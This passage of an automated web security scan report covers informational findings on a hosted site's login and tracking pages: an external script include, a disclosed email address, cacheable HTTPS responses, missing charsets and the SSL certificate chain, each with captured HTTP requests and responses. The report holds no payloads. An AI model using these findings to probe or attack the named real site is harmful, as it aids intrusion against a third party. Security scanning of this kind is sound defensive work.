Cookie: TestCookie=Set; ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: CookiesEnabled=Set; path=/
Set-Cookie: TestCookie=Set; expires=Tue, 01-Jan-1980 07:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:20 GMT
Content-Length: 26018


<html>
<head>
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networksolutions.com/siteseal/javascript/siteseal.js" type="text/javascript"></script>
...[SNIP]...
6. Cross-domain script include  previous  next
There are 4 instances of this issue:

Issue background

When an application includes a script from an external domain, this script is executed by the browser within the security context of the invoking application. The script can therefore do anything that the application's own scripts can do, such as accessing application data and performing actions within the context of the current user.

If you include a script from an external domain, then you are trusting that domain with the data and functionality of your application, and you are trusting the domain's own security to prevent an attacker from modifying the script to perform malicious actions within your application.

Issue remediation

Scripts should not be included from untrusted domains. If you have a requirement which a third-party script appears to fulfil, then you should ideally copy the contents of that script onto your own domain and include it from there. If that is not possible (e.g. for licensing reasons) then you should consider reimplementing the script's functionality within your own code.

6.1. https://0281.xdhosted.com/DriverLogin.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /DriverLogin.asp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /DriverLogin.asp HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:56 GMT
Content-Length: 25381


<HTML>
   <HEAD>
       <TITLE>Driver Login</TITLE>
       
   </HEAD>
   <BODY onload=setFocus();>
       
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;

...[SNIP]...
</SCRIPT>

<script language="JavaScript" src="https://seal.networksolutions.com/siteseal/javascript/siteseal.js" type="text/javascript"></script>
...[SNIP]...
6.2. https://0281.xdhosted.com/NewLogin.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /NewLogin.asp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /NewLogin.asp HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/login.asp?TryCookie=Yes
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:44 GMT
Content-Length: 24535


<html>
<head>
   
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networksolutions.com/siteseal/javascript/siteseal.js" type="text/javascript"></script>
...[SNIP]...
6.3. https://0281.xdhosted.com/login.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /login.asp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /login.asp?TryCookie=Yes HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: http://xi.0281.xdhosted.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TestCookie=Set; ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: CookiesEnabled=Set; path=/
Set-Cookie: TestCookie=Set; expires=Tue, 01-Jan-1980 07:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:20 GMT
Content-Length: 26018


<html>
<head>
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networksolutions.com/siteseal/javascript/siteseal.js" type="text/javascript"></script>
...[SNIP]...
6.4. https://0281.xdhosted.com/track.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /track.asp

Issue detail

The response dynamically includes the following script from another domain:

Request

GET /track.asp HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:48 GMT
Content-Length: 93965


<html>
<head>
   
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networksolutions.com/siteseal/javascript/siteseal.js" type="text/javascript"></script>
...[SNIP]...
7. Email addresses disclosed  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /track.asp

Issue detail

The following email address was disclosed in the response:

Issue background

The presence of email addresses within application responses does not necessarily constitute a security vulnerability. Email addresses may appear intentionally within contact information, and many applications (such as web mail) include arbitrary third-party email addresses within their core content.

However, email addresses of developers and other individuals (whether appearing on-screen or hidden within page source) may disclose information that is useful to an attacker; for example, they may represent usernames that can be used at the application's login, and they may be used in social engineering attacks against the organisation's personnel. Unnecessary or excessive disclosure of email addresses may also lead to an increase in the volume of spam email received.

Issue remediation

You should review the email addresses being disclosed by the application, and consider removing any that are unnecessary, or replacing personal addresses with anonymous mailbox addresses (such as helpdesk@example.com).

Request

GET /track.asp HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:48 GMT
Content-Length: 93965


<html>
<head>
   
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networ
...[SNIP]...
<mishoo@infoiasi.ro>
...[SNIP]...
<mishoo@infoiasi.ro>
...[SNIP]...
8. Cacheable HTTPS response  previous  next
There are 6 instances of this issue:

Issue description

Unless directed otherwise, browsers may store a local cached copy of content received from web servers. Some browsers, including Internet Explorer, cache content accessed via HTTPS. If sensitive information in application responses is stored in the local cache, then this may be retrieved by other users who have access to the same computer at a future time.

Issue remediation

The application should return caching directives instructing browsers not to store local copies of any sensitive data. Often, this can be achieved by configuring the web server to prevent caching for relevant paths within the web root. Alternatively, most web development platforms allow you to control the server's caching directives from within individual scripts. Ideally, the web server should return the following HTTP headers in all responses containing sensitive content:

8.1. https://0281.xdhosted.com/CSS/DriverStyle.css  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /CSS/DriverStyle.css

Request

GET /CSS/DriverStyle.css HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/DriverLogin.asp
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Content-Type: text/css
Last-Modified: Thu, 02 Dec 2010 23:49:33 GMT
Accept-Ranges: bytes
ETag: "806481917b92cb1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:58 GMT
Content-Length: 5347

<style>


A{
   color:#990000;
   font-family: Arial, Geneva, Helvetica;
}
A:hover{
       color:gray;
}                                


.DriverNav
{
MARGIN-TOP: 0%;
FONT-WEIGHT: bold;
FONT-SIZE: 10pt;

...[SNIP]...
8.2. https://0281.xdhosted.com/CSS/cxtStyle.css  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /CSS/cxtStyle.css

Request

GET /CSS/cxtStyle.css HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/login.asp?TryCookie=Yes
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Content-Type: text/css
Last-Modified: Thu, 02 Dec 2010 23:49:34 GMT
Accept-Ranges: bytes
ETag: "18a344927b92cb1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:20 GMT
Content-Length: 40448

<!-- START CXT SCRIPTS AND STYLES //-->
<style>
<!--
body{
   text-align:center;
   margin:0;
   scrollbar-face-color: #ffffff;
   scrollbar-arrow-color: #990000;
   scrollbar-base-color: #c0c0c0;
   s
...[SNIP]...
8.3. https://0281.xdhosted.com/DriverLogin.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /DriverLogin.asp

Request

GET /DriverLogin.asp HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:56 GMT
Content-Length: 25381


<HTML>
   <HEAD>
       <TITLE>Driver Login</TITLE>
       
   </HEAD>
   <BODY onload=setFocus();>
       
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;

...[SNIP]...
8.4. https://0281.xdhosted.com/NewLogin.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /NewLogin.asp

Request

GET /NewLogin.asp HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/login.asp?TryCookie=Yes
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:44 GMT
Content-Length: 24535


<html>
<head>
   
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networks
...[SNIP]...
8.5. https://0281.xdhosted.com/login.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /login.asp

Request

GET /login.asp?TryCookie=Yes HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: http://xi.0281.xdhosted.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TestCookie=Set; ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: CookiesEnabled=Set; path=/
Set-Cookie: TestCookie=Set; expires=Tue, 01-Jan-1980 07:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:20 GMT
Content-Length: 26018


<html>
<head>
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networksolu
...[SNIP]...
8.6. https://0281.xdhosted.com/track.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /track.asp

Request

GET /track.asp HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:48 GMT
Content-Length: 93965


<html>
<head>
   
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networ
...[SNIP]...
9. HTML does not specify charset  previous  next
There are 4 instances of this issue:

Issue description

If a web response states that it contains HTML content but does not specify a character set, then the browser may analyse the HTML and attempt to determine which character set it appears to be using. Even if the majority of the HTML actually employs a standard character set such as UTF-8, the presence of non-standard characters anywhere in the response may cause the browser to interpret the content using a different character set. This can have unexpected results, and can lead to cross-site scripting vulnerabilities in which non-standard encodings like UTF-7 can be used to bypass the application's defensive filters.

In most cases, the absence of a charset directive does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing HTML content, the application should include within the Content-type header a directive specifying a standard recognised character set, for example charset=ISO-8859-1.

9.1. https://0281.xdhosted.com/DriverLogin.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /DriverLogin.asp

Request

GET /DriverLogin.asp HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:56 GMT
Content-Length: 25381


<HTML>
   <HEAD>
       <TITLE>Driver Login</TITLE>
       
   </HEAD>
   <BODY onload=setFocus();>
       
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;

...[SNIP]...
9.2. https://0281.xdhosted.com/NewLogin.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /NewLogin.asp

Request

GET /NewLogin.asp HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/login.asp?TryCookie=Yes
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:44 GMT
Content-Length: 24535


<html>
<head>
   
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networks
...[SNIP]...
9.3. https://0281.xdhosted.com/login.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /login.asp

Request

GET /login.asp?TryCookie=Yes HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: http://xi.0281.xdhosted.com/
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: TestCookie=Set; ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
Set-Cookie: CookiesEnabled=Set; path=/
Set-Cookie: TestCookie=Set; expires=Tue, 01-Jan-1980 07:00:00 GMT; path=/
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:20 GMT
Content-Length: 26018


<html>
<head>
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networksolu
...[SNIP]...
9.4. https://0281.xdhosted.com/track.asp  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /track.asp

Request

GET /track.asp HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Cache-Control: private
Content-Type: text/html
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:48 GMT
Content-Length: 93965


<html>
<head>
   
   
<SCRIPT language=JavaScript>
function MSFPpreload(img)
{
var a=new Image(); a.src=img; return a;
}
</SCRIPT>

<script language="JavaScript" src="https://seal.networ
...[SNIP]...
10. Content type incorrectly stated  previous  next
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.

10.1. https://0281.xdhosted.com/CSS/DriverStyle.css  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   https://0281.xdhosted.com
Path:   /CSS/DriverStyle.css

Issue detail

The response contains the following Content-type statement:The response states that it contains CSS. However, it actually appears to contain HTML.

Request

GET /CSS/DriverStyle.css HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/DriverLogin.asp
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Content-Type: text/css
Last-Modified: Thu, 02 Dec 2010 23:49:33 GMT
Accept-Ranges: bytes
ETag: "806481917b92cb1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:58 GMT
Content-Length: 5347

<style>


A{
   color:#990000;
   font-family: Arial, Geneva, Helvetica;
}
A:hover{
       color:gray;
}                                


.DriverNav
{
MARGIN-TOP: 0%;
FONT-WEIGHT: bold;
FONT-SIZE: 10pt;

...[SNIP]...
10.2. https://0281.xdhosted.com/CSS/cxtStyle.css  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   https://0281.xdhosted.com
Path:   /CSS/cxtStyle.css

Issue detail

The response contains the following Content-type statement:The response states that it contains CSS. However, it actually appears to contain plain text.

Request

GET /CSS/cxtStyle.css HTTP/1.1
Host: 0281.xdhosted.com
Connection: keep-alive
Referer: https://0281.xdhosted.com/login.asp?TryCookie=Yes
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.151 Safari/534.16
Accept: text/css,*/*;q=0.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ASPSESSIONIDCUBCSSCB=CGOJONIBFCPHAACFDIFKHDBA; CookiesEnabled=Set

Response

HTTP/1.1 200 OK
Content-Type: text/css
Last-Modified: Thu, 02 Dec 2010 23:49:34 GMT
Accept-Ranges: bytes
ETag: "18a344927b92cb1:0"
Vary: Accept-Encoding
Server: Microsoft-IIS/7.5
X-Powered-By: ASP.NET
Date: Thu, 24 Mar 2011 15:02:20 GMT
Content-Length: 40448

<!-- START CXT SCRIPTS AND STYLES //-->
<style>
<!--
body{
   text-align:center;
   margin:0;
   scrollbar-face-color: #ffffff;
   scrollbar-arrow-color: #990000;
   scrollbar-base-color: #c0c0c0;
   s
...[SNIP]...
11. SSL certificate  previous

Summary

Severity:   Information
Confidence:   Certain
Host:   https://0281.xdhosted.com
Path:   /

Issue detail

The server presented a valid, trusted SSL certificate. This issue is purely informational.

The server presented the following certificates:

Server certificate

Issued to:  *.xdhosted.com
Issued by:  Network Solutions Certificate Authority
Valid from:  Sun Feb 06 18:00:00 CST 2011
Valid to:  Sat Feb 07 17:59:59 CST 2015

Certificate chain #1

Issued to:  Network Solutions Certificate Authority
Issued by:  UTN-USERFirst-Hardware
Valid from:  Sun Apr 09 19:00:00 CDT 2006
Valid to:  Sat May 30 05:48:38 CDT 2020

Certificate chain #2

Issued to:  UTN-USERFirst-Hardware
Issued by:  AddTrust External CA Root
Valid from:  Tue Jun 07 03:09:10 CDT 2005
Valid to:  Sat May 30 05:48:38 CDT 2020

Certificate chain #3

Issued to:  AddTrust External CA Root
Issued by:  AddTrust External CA Root
Valid from:  Tue May 30 05:48:38 CDT 2000
Valid to:  Sat May 30 05:48:38 CDT 2020

Issue background

SSL helps to protect the confidentiality and integrity of information in transit between the browser and server, and to provide authentication of the server's identity. To serve this purpose, the server must present an SSL certificate which is valid for the server's hostname, is issued by a trusted authority and is valid for the current date. If any one of these requirements is not met, SSL connections to the server will not provide the full protection for which SSL is designed.

It should be noted that various attacks exist against SSL in general, and in the context of HTTPS web connections. It may be possible for a determined and suitably-positioned attacker to compromise SSL connections without user detection even when a valid SSL certificate is used.
Report generated by XSS.CX at Thu Mar 24 10:14:13 CDT 2011.